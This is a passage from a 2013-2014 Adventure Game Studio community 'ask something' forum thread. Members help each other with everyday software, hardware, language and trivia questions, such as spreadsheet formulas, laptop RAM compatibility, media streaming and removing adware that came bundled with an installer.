And now I wonder how .mkv looks on videos in 320x200 compared to ogv in 320x200. HD would look more crispy pixely with less artifacts or maybe it looks just like squished through a ridiculous sharpening filter for the HDPixels. Would be cool to control the way mkv scales up from there :D
Isn't H264 used in both mkv and ogv? Stupid codec jungle...
Title: Re: Ask something - We can help.
Post by: on Thu 07/11/2013 18:29:23
Oh sweet, Pazera seem to have released a free OGV converter (finally! :D) It's like they knew... by the look of it..released three days ago??

Anyway YAY :D Multi ogv conversion will be simple now :)

http://www.freewarefiles.com/downloads_counter.php?programid=93390

Edit: Taken it for a spin, it's fantastic! And it even allows me to import some weird video types.. I'm soo happy lol now I can work on this fmv game with ease, haha :'D
Title: Re: Ask something - We can help.
Post by: Gribbler on Thu 14/11/2013 19:46:37
I don't know if this is a good place for it but I am in need of help so I ask, as the thread title says. I have a question for English native speakers. What does "ice" stand for? Apart from the obvious frozen water. I know it could also mean metaamphetamine and diamond jewelery. But what else? The sentence is:

"I also really need someone to bring ice. I had a sign-up sheet at the gathering and nobody fucking chose ice. What's the big deal? Come on, somebody. Be a rock star. Own it. (pause) Ice, out."
Title: Re: Ask something - We can help.
Post by: selmiak on Thu 14/11/2013 20:16:10
Seems like a nickname for a person who needs a ride...
Title: Re: Ask something - We can help.
Post by: on Thu 14/11/2013 22:28:53
Yeah, also seems to me like someone talking about themselves using "ice" as a name instead of just saying "me."

"I also really need someone to bring me. I had a sign-up sheet at the gathering and nobody fucking chose me. What's the big deal? Come on, somebody. Be a rock star. Own it. (pause) Ice, out."

Alternatively, it is a literal request for ice for a party or something? I can't see it being used in place of any other term, certainly where I'm from ice means ice, the cold stuff.
Title: Re: Ask something - We can help.
Post by: Gribbler on Fri 15/11/2013 00:00:44
Thanks guys. I'll see if that fits the context.
Title: Re: Ask something - We can help.
Post by: Nikolas on Fri 15/11/2013 12:56:31
Hey guys,

I'm looking for a screen video capture tool. I need to capture power point presentations, which apparently are quite big... :-/

Fraps and camstasia, failed thus far (unless I'm not using them well, but at least from camstasia I know I'm doing the right thing...).

Any ideas? Or how to export a PPT file into a movie file?
Title: Re: Ask something - We can help.
Post by: selmiak on Fri 15/11/2013 14:21:10
http://office.microsoft.com/en-001/powerpoint-help/turn-your-presentation-into-a-video-HA010336763.aspx
pp 2010 and up can export to wmv. And there are free tools out there that do this.
Title: Re: Ask something - We can help.
Post by: Stupot on Sun 17/11/2013 22:19:59
Spreadsheet lovers.  I have a column full of cells containing 'y', 'n' or nothing.  Below that I have a cell in which I want the total instances of 'y' from that column.  I know this is elementary stuff, but I'm not having any luck trying to work it out.

(I'm using OpenOffice Calc, on the off chance that makes a difference)

Cheers :-)
Title: Re: Ask something - We can help.
Post by: Babar on Sun 17/11/2013 22:47:29
COUNTIF(firstcell:lastcell; "y")
Title: Re: Ask something - We can help.
Post by: Stupot on Sun 17/11/2013 23:04:58
Thanks Babar. I knew it would be something simple :)
Title: Re: Ask something - We can help.
Post by: nihilyst on Sun 17/11/2013 23:07:48
@Nikolas:
Open Broadcaster Software should do the trick. Good quality, small files. (http://obsproject.com/)
Title: Re: Ask something - We can help.
Post by: Intense Degree on Mon 18/11/2013 11:34:35
Quote from: Gribbler on Thu 14/11/2013 19:46:37
I don't know if this is a good place for it but I am in need of help so I ask, as the thread title says. I have a question for English native speakers. What does "ice" stand for? Apart from the obvious frozen water. I know it could also mean metaamphetamine and diamond jewelery. But what else? The sentence is:

"I also really need someone to bring ice. I had a sign-up sheet at the gathering and nobody fucking chose ice. What's the big deal? Come on, somebody. Be a rock star. Own it. (pause) Ice, out."


The only other use I can think of for Ice (which doesn't fit the context anyway) is as an acronym for "In Case of Emergency". A few years ago there was a thing about having an emergency contact number on your mobile phone saved as "ICE" so people knew who to phone.

However, in your example above, the guy is clearly wandering around with Ned Stark's sword! :wink:
Title: Re: Ask something - We can help.
Post by: Snarky on Mon 18/11/2013 15:14:43
Aren't you guys discounting the straightforward possibility that he's actually talking about ice (frozen water)? In the US, it's relatively common to bring ice (which is sold in bags in supermarkets and gas stations, crushed or in ice cubes) to parties as a way to cool beverages and for refreshment. The only thing that doesn't quite make sense in this reading is the "Ice, out" bit at the end.

Edit: Missed that Mods had edited his post to say the same thing.
Title: Re: Ask something - We can help.
Post by: TheBitPriest on Mon 18/11/2013 16:22:33
I would assume that the "Ice, out" is just a misuse of a comma. "Out" means "I'm finished." (http://en.wikipedia.org/wiki/Voice_procedure)
Title: Re: Ask something - We can help.
Post by: Snarky on Mon 18/11/2013 16:29:26
Right, but that only works if Ice is a name, which makes the rest of the statement read rather caveman-y. Like: "Tarzan need ride to party. No one offer to give Tarzan ride. Why no one help Tarzan out? Tarzan had it with this shit."
Title: Re: Ask something - We can help.
Post by: TheBitPriest on Mon 18/11/2013 17:15:50
;-D Ha!  That could be a possibility. 

However, what I meant was that perhaps he should have used an exclamation point rather than a comma. I agreed with your assumption that he was asking for someone to bring a bag of ice.  I took the final "ice" as a one word exclamatory sentence emphasizing his need for ice.  "Ice!  Out."

But without more context, who could know?  It might have been a autocorrect error, and he actually typed "Peace, out."   ;-D
Title: Re: Ask something - We can help.
Post by: Nikolas on Mon 18/11/2013 18:18:12
First of all thanks for your replies, on my little powerpoint issue. Unfortunately I've not been able to produce any decent results. The second link (Open Broadcasting) has problems on my computer, but I've still got to check it to other computers I have... and I simply do not have Powerpoint 2010 (office) and I won't get into torrent stuff... :-/

Still thank you for all your help! You are always lovely!
Title: Re: Resonate or Resonant objects
Post by: Ghost on Fri 22/11/2013 01:01:07
Funfact: There's also Resonantium, a rare element that is exclusively used to make trophies NO-ONE can carry. (laugh)
Title: Re: Resonate or Resonant objects
Post by: miguel on Fri 22/11/2013 09:35:33
And there's Red Sonja!
Title: Re: Ask something - We can help.
Post by: InCreator on Thu 28/11/2013 11:13:36
Why does emboss filter exist in graphics software?

I kind of understand what it does and where does it get its name, but "it makes stuff look like it's embossed into metal" doesn't sound either practical at any level or situation, nor does it look good enough to be one of must-have vanilla filters.

...or is it just "Hello World!" of shader/filter programming? Pixel processing logic seems simple enough...?
What am I missing?
Title: Re: Ask something - We can help.
Post by: Anian on Thu 28/11/2013 18:53:17
Quote from: InCreator on Thu 28/11/2013 11:13:36
Why does emboss filter exist in graphics software?

I kind of understand what it does and where does it get its name, but "it makes stuff look like it's embossed into metal" doesn't sound either practical at any level or situation, nor does it look good enough to be one of must-have vanilla filters.

...or is it just "Hello World!" of shader/filter programming? Pixel processing logic seems simple enough...?
What am I missing?
A couple of weeks ago I discovered the power of High pass filter through some tutorials...I no longer doubt there's a brilliant use of any filter in PS.
Title: Re: Ask something - We can help.
Post by: Eric on Fri 29/11/2013 02:08:17
Quote from: InCreator on Thu 28/11/2013 11:13:36
Why does emboss filter exist in graphics software?

Instead of using it on images, use it on text. Some neat effects to be gained.

I also used it to create a stamped-foil look on this cover mockup:

(https://s3.amazonaws.com/ksr/assets/000/569/046/cf9197c0b75082ca69c8d1e53475d41e_large.jpg?1367823696)
Title: Re: Ask something - We can help.
Post by: InCreator on Sun 01/12/2013 16:36:44
That, indeed, look like an awesome cover mockup.
Thanks
Title: Re: Ask something - We can help.
Post by: Nikolas on Fri 27/12/2013 07:11:54
I'm looking for political/social/economic serious poetry, to set on contemporary classical music...

Where on earth to look, that doesn't involve "check the library" kind of reply? I've been looking in poetry forums, but in all honesty the sheer huge amount of poetry, plus the unwillingness of the forum members to help out makes it really difficult...
Title: Re: Ask something - We can help.
Post by: Babar on Fri 27/12/2013 09:20:56
Hmmmm....Robert Graves wrote many poems (http://www.oucs.ox.ac.uk/ww1lit/db/results.php?CISOBOX1=robert+graves&CISOBOX2=text&CISOBOX3=poem&CISOBOX4=&CISOFIELD1=langua&CISOFIELD2=covera&CISOFIELD3=objecb&CISOFIELD4=title&CISOOP1=all&CISOOP2=exact&CISOOP3=exact&CISOOP4=exact&CISOROOT=%2Fww1&CISOSORT=descri%7Cf) about his experiences in the First World War. Not sure how much more serious you can get than that.

I guess that would be one way to search out stuff you're interested in. Google things like '"World War two" poet' or '"Cold war" poet', specific to the subject.
Title: Re: Ask something - We can help.
Post by: jwalt on Fri 27/12/2013 11:29:12
@ Nikolas

Not sure if this is what you had in mind, but, while doing unrelated research, I came across a poem in the New York Times. Edna St. Vincent Millay had sent it as a letter to the editor. The link has the poem.

http://www.arlindo-correia.com/060800.html

Title: Re: Ask something - We can help.
Post by: Nikolas on Sat 28/12/2013 08:05:26
Thanks guys!
Title: Re: Ask something - We can help.
Post by: Crimson Wizard on Thu 02/01/2014 00:28:10
I lack English words. Or rather not sure which of the numerous variants I know would fit for this particular case. Might be there's a strictly-defined scientific term for this?

I am looking for names for two math functions.
1) One calculates the "positive difference" between X and Y where X is supposed to be larger, that is:
- if X is larger than Y, the result is X - Y.
- otherwise result is 0.
So it is not simply "Difference" (because difference can be negative). So far I came with "Surplus", but not sure.
2) The opposite, "positive difference" between X and Y where X is supposed to be smaller:
- if X is smaller than Y, the result is Y - X.
- otherwise result is 0.
What can it be... "Lack"? "Deficit"? Hmm...

Duh, I don't need second function. :)
Title: Re: Ask something - We can help.
Post by: on Thu 02/01/2014 02:09:20
Quote from: Crimson Wizard on Thu 02/01/2014 00:28:10
I am looking for names for two math functions.
1) One calculates the "positive difference" between X and Y where X is supposed to be larger, that is:
- if X is larger than Y, the result is X - Y.
- otherwise result is 0.
So it is not simply "Difference" (because difference can be negative). So far I came with "Surplus", but not sure.

I have seen it called "bounded subtraction", see for example this Coq library (https://www.lri.fr/~paulin/ALEA/).
Title: Re: Ask something - We can help.
Post by: Stupot on Fri 10/01/2014 01:11:18
Last year my Advent laptop died suddenly. I have since been using (or seem to have inherited) my dad's HP Compaq laptop.

The Compaq badly suffers from really bad slowdowns and freezing. In all the palaver of trying to get Broken Sword 5 to work on this machine the conclusion seems to be a lack of RAM.  So I decided to buy some new RAM and see if that does the trick (even if BS5 still doesn't work, I should see some improved performance).

But before I fork out the money I haven't got, it suddenly occurred to me that I might be able to use the stick of 1GB RAM from my old Advent laptop.  From what I can tell, they are very similar RAM modules.  The question is: are they similar enough?

Code (text) Select

Brand:          Advent                        Compaq
Form Factor: DIMM 200-pin                  DIMM 200-pin
MPN:         555283-AD-1024                702914-HP-1024
Model:         8117                          Presario Notebook C765EM
Type:         DDR2 SDRAM                    DDR2 SDRAM
Bus Speed: PC2-4200 (DDR2-533)           PC2-5300 (DDR2-667)


So, based on these numbers, do you think it is possible to try sticking the Advent's RAM into the spare slot on my Compaq, or is this simply not possible? If not, what would be likely to happen? Would it just not work or could it damage my machine? Is it worth trying or should I be shot for even considering it?

I just thought I'd run this past you clever people before I go doing something potentially stupid.
Title: Re: Ask something - We can help.
Post by: Stee on Fri 10/01/2014 03:16:12
Would be fine stu. Worst case scenario laptop wont boot until you remove offending memory
Title: Re: Ask something - We can help.
Post by: Khris on Fri 10/01/2014 03:27:50
It should work absolutely fine, the only downside is that the Advent's stick is slower (533MHz instead of 667MHz), which will bring down the overall speed to its level. It's probably barely noticeable though, and an increase by 1GB should more than compensate for a slight loss of speed.
(As far as hardware compatibility, the only thing that matters is that both are of the same type, in this case DDR2.)
Title: Re: Ask something - We can help.
Post by: Stupot on Fri 10/01/2014 11:23:26
Okay. Thanks guys. I'll give it a go later today :-)
Title: Re: Ask something - We can help.
Post by: Weston_Kaunk on Sat 11/01/2014 22:50:45
So, I probably missed it. But is there a thread for just art crap. Project I'm working on is going to have a metric ton of art and I was wondering if there was a place for me to let loose my children for public ridicule? .. and suggestions/hints art and tips, those too.
Title: Re: Ask something - We can help.
Post by: Stupot on Sat 11/01/2014 23:28:10
@Weston - If you want to post your artwork to be critiqued, you'll be wanting The Critic's Lounge (http://www.adventuregamestudio.co.uk/forums/index.php?board=4.0) :-)
Title: Re: Ask something - We can help.
Post by: Adeel on Sat 11/01/2014 23:49:22
Stupot+, you forgot to tell us whether the RAMs worked together or not. :)
Title: Re: Ask something - We can help.
Post by: Stupot on Sat 11/01/2014 23:53:19
I still haven't tried it yet. The screwdrivers are in the cupboard under the stairs which has a sofa in from of it, and I'm too lazy to move it. Haha. I will probably try it tomorrow :-)
Title: Re: Ask something - We can help.
Post by: Weston_Kaunk on Sun 12/01/2014 00:48:22
Quote from: Stupot+ on Sat 11/01/2014 23:28:10
Thanks much
Title: Re: Ask something - We can help.
Post by: Stupot on Mon 13/01/2014 12:05:30
So, I've got the RAM out of my Advent, and it's actually 2GB, not 1GB.  Trouble is my Compaq allows a maximum of 2GB and already has 1GB.  So, is it better to replace the current 1GB stick with the Advent's 2GB stick, or to just by a new 1GB one to add to the current one?
Title: Re: Ask something - We can help.
Post by: Khris on Mon 13/01/2014 12:13:09
The difference in speed isn't going to matter much; just try the 2GB stick you already have.
Title: Re: Ask something - We can help.
Post by: Stee on Mon 13/01/2014 13:53:53
Try both in and see if it boots. If nit swap the 1gb with the 2
Title: Re: Ask something - We can help.
Post by: Nikolas on Tue 14/01/2014 12:21:55
Premiere Pro CC vs Sony Vegas Pro 12

Comments on this? Keep in mind that Premiere is only available for download, at 19.99$ per month (annual plan), while Sony Vegas is cheaper.

Anyone has experience on any, or both?
Title: Re: Ask something - We can help.
Post by: Tosek on Tue 14/01/2014 12:33:38
What about Magix Video Pro?
Title: Re: Ask something - We can help.
Post by: nihilyst on Tue 14/01/2014 13:27:25
@Nikolas:
I'm not much of a video pro, but I find that Sony Vegas does the job pretty well and is easier to begin with for small scale projects (few video tracks, few audio tracks, few effects). For anything more complex (big scale productions with tons of effects and deep audio editing) Premiere would be the better choice mainly for it's connectivity with Photoshop, After Effects etc.
Title: Re: Ask something - We can help.
Post by: Weston_Kaunk on Wed 15/01/2014 10:24:03
I was able to learn Premiere to the degree of being able to make an entirely competent music video in five minutes(movie scenes cut up overlapping song), only need a pointer from a friend twice, other than that I just learned clicking things. Really easy to learn the basics that make work look professional, few tutorials and I bet you'd be golden for whatever project. I would.. download Premiere for a test run to see how much you take to it before investing in the more costly option though.
Title: Re: Ask something - We can help.
Post by: Slasher on Mon 20/01/2014 14:25:02
Hi

Can anyone refer a rain / snow type plugin / module compatible with 800 x 600 resolution and is fairly easy to implement?

cheers
Title: Re: Ask something - We can help.
Post by: Dualnames on Thu 23/01/2014 21:33:09
Particle system manager by jerakeen does those things. Ideally, just use what I used for Dakota, and all my other games, hardcoded rain.
Title: Re: Ask something - We can help.
Post by: Eric on Fri 24/01/2014 03:20:10
I've got a computer with an external hard drive shared on the home network via wireless router. Is there a way / what's the easiest way to be able to access files (i.e. stream media) from that hard drive to an iPad that's also connected through the router.
Title: Re: Ask something - We can help.
Post by: Khris on Fri 24/01/2014 08:27:27
I guess the easiest way would be to go the media server route.
If the computer is a PC with at least Windows Vista, it should already be set up as media server. You just have to add the media files to the Windows Media Player library.
If it's a Mac, you can download a media server (I recommend Plex (https://plex.tv/)) and again add media folders to its library.

Now all you need on the iPad is a media player that can play media server content. Here's one: https://itunes.apple.com/us/app/airplayer/id369713694

The protocol is called UPnP/DLNA, so any server/client that uses that will work.
Title: Re: Ask something - We can help.
Post by: Anian on Fri 24/01/2014 17:41:52
There's also (free) Plex Media Server, which should be easy to use stream media server application, for Windows.
Title: Re: Ask something - We can help.
Post by: Lasca on Fri 24/01/2014 19:43:35
So, a question:
Besides the knowledge I have of AGS coding, I'm REALLY clueless regarding programming and such. Now to the question. Let's say one would want to construct a management game, like for example Prison Architect and such, is there somekind of engine one could use for this? If not, where would one go to learn what was needed?
Title: Re: Ask something - We can help.
Post by: Problem on Fri 24/01/2014 21:29:34
Well, almost any engine (including AGS) can be used to code a management game, but it will require much more coding than what you've done in AGS so far. I don't know of any engine that specializes in this kind of game. For a management game, the code is more important than the actual engine. You can code a complex management simulation without using a real engine, just by using text and numbers.

So if you want to create something like this, I suggest that you learn a programming or scripting language from scratch. That's not as difficult as it sounds, buy a book or work through an online tutorial. Then code a very simple text-only management simulation to get an idea how to organize your code, data, etc. When you feel more comfortable with coding, you can better decide which game engine is suitable for what you want to achieve.

Title: Re: Ask something - We can help.
Post by: Lasca on Sat 25/01/2014 21:35:00
Thanks Problem!
you're my go-to-guy!
Title: Re: Ask something - We can help.
Post by: Anian on Sat 25/01/2014 21:46:25
If you know some very basics of game making, try finding out what exactly are mechanics and thinking behind a tycoon/manager/simulation genre. Maybe on Gamasutra or GDC site or similar sites or tutorials, I think gamedev.net should offer quite a lot of further direction. Then you'll probably find an engine/language/environment that's most suited for the game you want to make.
Title: Re: Ask something - We can help.
Post by: Retro Wolf on Sat 25/01/2014 21:57:10
I've dabbled with this genre before, Game Maker is my go to engine for games other than point and click adventures.
http://www.yoyogames.com/studio

EDIT: Just watched the trailer for Prison Architect. Hilarious!
Title: Re: Ask something - We can help.
Post by: Eric on Sun 26/01/2014 18:45:27
Thanks Khris and Anian! I'm going to give this a try this afternoon!
Title: Re: Ask something - We can help.
Post by: kintarooost on Sun 02/02/2014 19:13:03
 Hello

I'm a newbie here who has a question for all of you :D

Can I make an adult/erotic adventure with AGS?
I was searching on all the FAQ documents and the AGS policy document (it says that there are no policy :D)and I didn't find anything about it.

I've not decided about how much spicy I want to do the graphics, It may be something just spicy like the Larry games or maybe something more exlicit. I'm pretty sure that I won't have any problem with something spicy, but I don't know if the creator of AGS will allow something more explicit made with his engine.
Title: Re: Ask something - We can help.
Post by: Babar on Sun 02/02/2014 19:19:22
You can make whatever you want, the content you create can't really be regulated by the creator of AGS (or anyone, really).
Title: Re: Ask something - We can help.
Post by: Retro Wolf on Sun 02/02/2014 20:05:11
@kintaroost: I can remember reading about a sexually explicit game made in AGS, I think he even tried to sell it. Something to do with "bears" (not the animal kind).
Title: Re: Ask something - We can help.
Post by: KodiakBehr on Tue 04/02/2014 23:31:48
Quote from: Oldschool_Wolf on Sun 02/02/2014 20:05:11
@kintaroost: I can remember reading about a sexually explicit game made in AGS, I think he even tried to sell it. Something to do with "bears" (not the animal kind).

Phew!
Title: Re: Ask something - We can help.
Post by: Snarky on Sat 08/02/2014 17:20:24
A while ago I read a webcomic, and now I can't track it down.

I remember it as being in the style of The Oatmeal or SMBC. It was about Jesus (I'm pretty sure) and a bunch of his disciples. Jesus gives them instructions on doing charity for the poor (give away all your possessions, etc.), but each time the disciples report back that it has just made things worse: making ever more people destitute, undercutting local merchants and thereby wrecking the economy, and so on. In the end, Jesus gives them a commandment that's about (something along the lines of) promoting growth by supporting stable institutions and the rule of law, and investing in local entrepreneurs.

Does anyone recognize this to point me in the right direction?
Title: Re: Ask something - We can help.
Post by: Eric on Sun 09/02/2014 19:25:28
Anyone know of a free program for OS that will (1) allow me to view and rotate .obj files and (2) apply varied lighting circumstances to them? The latter doesn't need to be incredibly complex, but I'd like to control intensity and angle at least.

Rendering doesn't need to be all that advanced, either. I use 3D models as reference, not as finals.
Title: Re: Ask something - We can help.
Post by: selmiak on Sun 09/02/2014 20:18:15
blender (http://www.blender.org/) can import .obj files (http://wiki.blender.org/index.php/Doc:2.6/Manual/Data_System/Files/Import). You might need to search around for plugins for lightsources, or it was for renderers, but it can't get freeer than that...
Title: Re: Ask something - We can help.
Post by: Eric on Sun 09/02/2014 20:57:09
D'oh! I always think Blender is a pay program, but it's Poser I'm thinking of! Thanks, selmiak!
Title: Re: Ask something - We can help.
Post by: Retro Wolf on Mon 10/02/2014 08:57:29
Quote from: Eric on Sun 09/02/2014 20:57:09
D'oh! I always think Blender is a pay program, but it's Poser I'm thinking of! Thanks, selmiak!

Alternate software to Poser, there's DAZ Studio.
http://www.daz3d.com/

I haven't properly checked it out myself, but it might be worth looking into.
Title: Re: Ask something - We can help.
Post by: Ryan Timothy B on Thu 13/02/2014 01:45:28
What's that game called with the little green (I think?) people that walk along and you need to get them to an ending or something, and apparently clicking one will have them explode. I believe it's something like Lemons or Lemors or something. A friend is bugging me to remember what this is called because she says it's the best game she's ever played when she was younger.
Title: Re: Ask something - We can help.
Post by: DoorKnobHandle on Thu 13/02/2014 01:46:30
Lemmings?
Title: Re: Ask something - We can help.
Post by: Ryan Timothy B on Thu 13/02/2014 01:56:20
That's the one! Thanks
Title: Re: Ask something - We can help.
Post by: Eric on Thu 13/02/2014 02:38:13
I'll just leave this sad link about lemmings here. (http://www.snopes.com/disney/films/lemmings.asp)
Title: Re: Ask something - We can help.
Post by: Janos Biro on Thu 13/02/2014 05:48:29
You can't trust anything these days...
Title: Re: Ask something - We can help.
Post by: Nikolas on Fri 07/03/2014 07:59:14
[idiot mode]

I have several scanned illustrations (for the kickstater project) which are at a certain size, scanned at 72 DPI.

If I go inside GIMP (or PS) and change the dpi to a higher setting (300 dpi, which is necessary for printing) the size, obviously is reduced. If I actually go ahead and DO THAT, does it destroy the scan quality, or I'm fine with such 'conversion' taking place?

Alternatively I could just ask them to rescan them at 300 dpi, but because most are in A3 size, I think that it's not exactly easy to do... :-/

[/idiot mode]

Thanks ^_^
Title: Re: Ask something - We can help.
Post by: Problem on Fri 07/03/2014 08:19:47
The quality won't change at all and the image will still be the same. However the printed result will be smaller, because a higher dpi setting means a higher print resolution. It's simple maths: convert an image from 100 to 200 dpi and it will appear at half the size when printed, though the quality and size in pixels is not touched at all. So you'll have to make sure that the printed images are still big enough after the conversion. If they aren't they'll have to be rescanned.
The size in dpi or pixels are relative values. What you really want to know is if the image resolution is high enough to be printed with 300 dpi at a given size.
Title: Re: Ask something - We can help.
Post by: Nikolas on Fri 07/03/2014 08:26:43
As I thought it would be then! Right now, as it stands an image at 72 dpi is 87x116 cm, while at 300 dpi I get 20x28 roughly. So it's almost enough for my purposes!

Thanks!
Title: Flame torch or Torch flame?
Post by: Slasher on Mon 17/03/2014 16:44:42
Hi,

Are you carrying a Flame torch or Torch flame?

slasher
Title: Re: Flame torch or Torch flame?
Post by: NickyNyce on Mon 17/03/2014 16:55:50
A torch, or flame torch. But here in the USA, torch is fine. Even when it's on fire, we call it a torch.
Title: Re: Flame torch or Torch flame?
Post by: arj0n on Mon 17/03/2014 17:24:58
As for torch and flame: you use a torch to light a flame.
Title: Re: Flame torch or Torch flame?
Post by: Ryan Timothy B on Mon 17/03/2014 17:32:17
Quote from: NickyNyce on Mon 17/03/2014 16:55:50
Even when it's on fire, we call it a torch.
It's a torch, yes, but when it's lit it's also a lit torch.
Title: Re: Flame torch or Torch flame?
Post by: Ali on Mon 17/03/2014 17:36:36
But in the UK a torch is a flashlight! See also bickering torch (http://www.thezorklibrary.com/history/bickering_torch.html).
Title: Re: Flame torch or Torch flame?
Post by: NickyNyce on Mon 17/03/2014 18:05:32
Quote from: Arj0n on Mon 17/03/2014 17:24:58
As for torch and flame: you use a torch to light a flame.

Hmmm...very strange. Over here, we use a flame to light a torch.

I would imagine that a torch is called a torch, whether it's lit or not. Same as if a lighter is lit or not. If I was holding a lighter that wasn't lit, I don't think anyone would say that I'm holding an unlit lighter. I imagine everyone would say I'm holding a lighter, whether it's lit or not.

Now in a game, if you have an unlit torch that needs to be lit or can be lit, I can see calling it an unlit torch to give the player an understanding that it needs to be lit.

I can see calling it a burning torch too, if it was lit.
Title: Re: Flame torch or Torch flame?
Post by: Radiant on Mon 17/03/2014 18:24:26
(http://static.comicvine.com/uploads/original/14/144096/3530387-6685656174-21039.png)
Title: Re: Ask something - We can help.
Post by: TomatoesInTheHead on Mon 17/03/2014 18:34:34
What sound does the "English" elephant make? Like "bah", "moo" or "meow", what's the onomatopetic expression for this?
Title: Re: Ask something - We can help.
Post by: on Mon 17/03/2014 20:09:46
Quote from: TomatoesInTheHead on Mon 17/03/2014 18:34:34
What sound does the "English" elephant make? Like "bah", "moo" or "meow", what's the onomatopetic expression for this?

I found baraag (http://www.tolearnenglish.com/exercises/exercise-english-2/exercise-english-30657.php), but I must admit it's the first time I have seen it used.
Title: Re: Ask something - We can help.
Post by: Babar on Mon 17/03/2014 20:35:59
Quote from: bicilotti on Mon 17/03/2014 20:09:46
I found baraag (http://www.tolearnenglish.com/exercises/exercise-english-2/exercise-english-30657.php), but I must admit it's the first time I have seen it used.
I don't think "baraag" is used for elephant noises in english at all. Quite a few of those from your link seem quite wrong as well: Baa for sheep but Naa for a goat? Clang for a crane and grumph for a camel?

I don't know what the onomatopoeic expression for the noise an elephant makes would be, and I suspect there isn't one, but if I am not mistaken, an elephant trumpets?
Title: Re: Ask something - We can help.
Post by: Stupot on Mon 17/03/2014 20:50:16
Nelly the Elephant packed her trunk and said goodbye to the circus.
Off she went with a trumpety trump,
trump, trump, trump.
Title: Re: Flame torch or Torch flame?
Post by: qptain Nemo on Mon 17/03/2014 21:03:19
Radiant, is this the Antimoderator Man?
Title: Re: Ask something - We can help.
Post by: Snarky on Mon 17/03/2014 21:58:54
The answer's right here, people:

Dog goes "woof"
Cat goes "meow"
Bird goes "tweet"
And mouse goes "squeak"
Cow goes "moo"
Frog goes "croak"
And the elephant goes "toot"
Ducks say "quack"
And fish go "blub"
And the seal goes "ow ow ow"

(Disclaimer: Ylvis may not be a reliable source.)
Title: Re: Ask something - We can help.
Post by: Disco on Tue 18/03/2014 03:06:22
Quote from: Snarky on Mon 17/03/2014 21:58:54
And the seal goes "ow ow ow"

Is that a seal being beaten? :O
Title: Re: Ask something - We can help.
Post by: NickyNyce on Wed 19/03/2014 13:15:57
I'm hoping someone can help me. I downloaded GIMP and I guess some other garbage got downloaded with it. Yahoo toolbar and I think something else. The thing that drives me crazy, I unclicked those extra things and didn't want them, but they were added to my computer anyway. My computer started running all crazy, so I deleted the yahoo toolbar and GIMP..But now..I'm having an issue with AGS. When I go to games, I get this page instead of the normal one. Anyone know why, or how to fix this?

(http://i1228.photobucket.com/albums/ee455/nickynyce/Screenshot2014-03-19091006_zps93dbc1d8.png) (http://s1228.photobucket.com/user/nickynyce/media/Screenshot2014-03-19091006_zps93dbc1d8.png.html)
Title: Re: Ask something - We can help.
Post by: abstauber on Wed 19/03/2014 13:51:27
I don't use IE, but could it be that style sheets got disabled?
http://smallbusiness.chron.com/ie-8-not-showing-styles-37425.html
Title: Re: Ask something - We can help.
Post by: Khris on Wed 19/03/2014 14:17:51
The obvious problem is that you're using IE. We have almost gotten rid of IE8 by now, using a newer version of the world's worst browser is not gonna help.

As for your problem, not just the stylesheet but also the images are broken. Can you see them like this:
http://www.adventuregamestudio.co.uk/includes/index.css (http://www.adventuregamestudio.co.uk/includes/index.css)
http://www.adventuregamestudio.co.uk/images/bannerNew.png (http://www.adventuregamestudio.co.uk/images/bannerNew.png)

If you can, it looks like something is messing with your http requests directly.

Try to isolate the issue by testing it in another browser. If it works in Chrome or Firefox, consider the problem solved and don't look back.
Title: Re: Ask something - We can help.
Post by: NickyNyce on Wed 19/03/2014 14:47:02
Thank you so much for the reply guys. I used system restore and everything seems to be working OK right now. That was scary.

The first link you posted just shows a bunch of text..err..code. The second shows the banner picture. But everything seems in order right now, all the pages show properly now. I will certainly look to switch to another browser as soon as possible.

Thanks again for the help and understanding of my issues.
Title: Re: Ask something - We can help.
Post by: Nikolas on Sun 30/03/2014 00:42:31
I have a lovely 3 minute piano work, and I'd like to make an animation short based on a "script" of mine.

Do you guys have any idea how much it would cost me something like this? I know that it's a very vague question, but...
Title: Re: Ask something - We can help.
Post by: Cassiebsg on Tue 22/04/2014 12:41:57
I've got a little "weird" problem, that I can't seem to locate the solution.

All images that are posted from i.imgur.com do not show up on my browser... I've tried to check if they were blocked in any of my filters, but I can't seem to find anything that indicates them as being blocked.
Maybe someone has had the same problem and knows the solution?

I'm using Firefox 28.0 with the following add-ons: Bitdefender, Flashblock, NoScript Self-Destructin Cookies and Stop AutoPlay.
Title: Re: Ask something - We can help.
Post by: selmiak on Tue 22/04/2014 15:59:38
sometimes imgur has serverproblems. Just wait a few hours or a day and it should work out.
Title: Re: Ask something - We can help.
Post by: Cassiebsg on Tue 22/04/2014 16:16:29
Quote from: selmiak on Tue 22/04/2014 15:59:38
sometimes imgur has serverproblems. Just wait a few hours or a day and it should work out.

It has never worked since I joined this forum 1st March this year.
I only noticed it cause you guys post a lot of pics on imgur...

Currently I use the "quote" option, then copy/paste the link(s) on my browser so I can see the picture(s)... but it's still annoying to do it that way. :)
Title: Re: Ask something - We can help.
Post by: selmiak on Tue 22/04/2014 23:15:55
have you tried another browser? If it works there then fiddle around with the settings of your favourite browser. If it doesn't work with another browser your internet it broken ;)
Title: Re: Ask something - We can help.
Post by: Babar on Tue 22/04/2014 23:32:19
I'm looking for the title and author of a short story that I think was in Esquire Magazine. I remember reading it in a collection of short stories from Esquire Magazine, but googling doesn't seem to help in this case.
What I can remember of it is that it was about a man at the train station, waiting for something, and he just sat there and sat there and sat there, and I think it ended with him saying "I am paralysed" or something like that.

Its very vague, I know, but hopefully someone will recognise it?
Title: Re: Ask something - We can help.
Post by: Cassiebsg on Wed 23/04/2014 08:22:34
Quote from: selmiak on Tue 22/04/2014 23:15:55
have you tried another browser? If it works there then fiddle around with the settings of your favourite browser. If it doesn't work with another browser your internet it broken ;)

Haven't tried it from another browser in this PC, but they work fine from Chrome in my tablet...
I think it may have to do with blocking images from sites on Firefox options, but I just can't find the option to see what sites are blocked for pictures... I used to be able to block them with the right button of the mouse and choose to block them, but that option has disappeared from newer versions. :( (http://www.adventuregamestudio.co.uk/forums/Smileys/AGS/smiley16_wrong.gif)
This and the recent "discovery" that there's no longer an option in Firefox to "ask me every time" when sites want to sets cookies, is starting to annoy me, and I may soon look for another browser that lets me have control of how I want my internet surfing to be.

Edit: Okay I just managed to solve this problem. :D I opened a imgur pic on the browser, choose the "view image info" option on the right mouse button, and the I could see that "block images from this site" box was checked and I could unchecked it.  (love it when I manage to solve a puzzle...) (http://www.adventuregamestudio.co.uk/forums/Smileys/AGS/smiley16_laughing.gif)
Title: Re: Ask something - We can help.
Post by: on Sat 03/05/2014 16:44:34
This is a 4 hole Ocarina (http://ep.yimg.com/ca/I/yhst-46117395216933_2269_105310871).
